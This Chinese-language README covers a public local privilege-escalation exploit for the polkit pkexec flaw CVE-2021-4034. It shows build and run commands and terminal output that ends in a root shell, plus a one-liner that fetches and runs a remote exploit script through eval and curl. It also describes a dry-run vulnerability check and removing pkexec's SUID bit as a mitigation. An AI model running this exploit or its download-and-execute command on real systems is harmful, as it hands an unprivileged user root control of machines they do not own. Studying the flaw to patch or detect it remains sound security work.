针对 polkit 权限提升漏洞的一次性（one-day）利用代码
只需执行 make、./cve-2021-4034，即可获得一个 root shell。
原作者发布的原始公告见此处
如果漏洞利用成功，你将立即获得一个 root shell：
vagrant@ubuntu-impish:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit
在大多数系统上更新 polkit 会修补此漏洞，因此程序将打印用法信息并退出：
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$
为了不执行 shell，而只是测试系统是否存在漏洞，请编译 dry-run 目标。
如果程序退出时打印出 “root”，则说明你的系统易受该漏洞攻击。
vagrant@ubuntu-impish:~/CVE-2021-4034$ make dry-run
...
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
root
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
1
如果你的系统不易受攻击，它将打印一个错误并退出。
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
0
Polkit（以前称为 PolicyKit）是一个用于控制类 Unix 操作系统中系统级权限的组件。它提供了一种有组织的方式，让非特权进程可以与特权进程通信。也可以使用 polkit，通过 pkexec 命令（后跟要以 root 权限执行的命令）来执行具有提升权限的命令。
你可以使用一个脚本轻松利用该系统，通过以下命令即可下载并执行：
eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
vagrant@ubuntu-impish:~/CVE-2021-4034$ whoami
vagrant
vagrant@ubuntu-impish:~/CVE-2021-4034$ eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.
# whoami
root
如果你的操作系统没有可用的补丁，可以临时移除 pkexec 上的 SUID 位作为缓解措施。
# chmod 0755 /usr/bin/pkexec
之后该漏洞利用程序将失败，并提示 pkexec 必须启用 setuid 位。
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ sudo chmod 0755 /usr/bin/pkexec
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ ./cve-2021-4034
GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT”
pkexec must be setuid root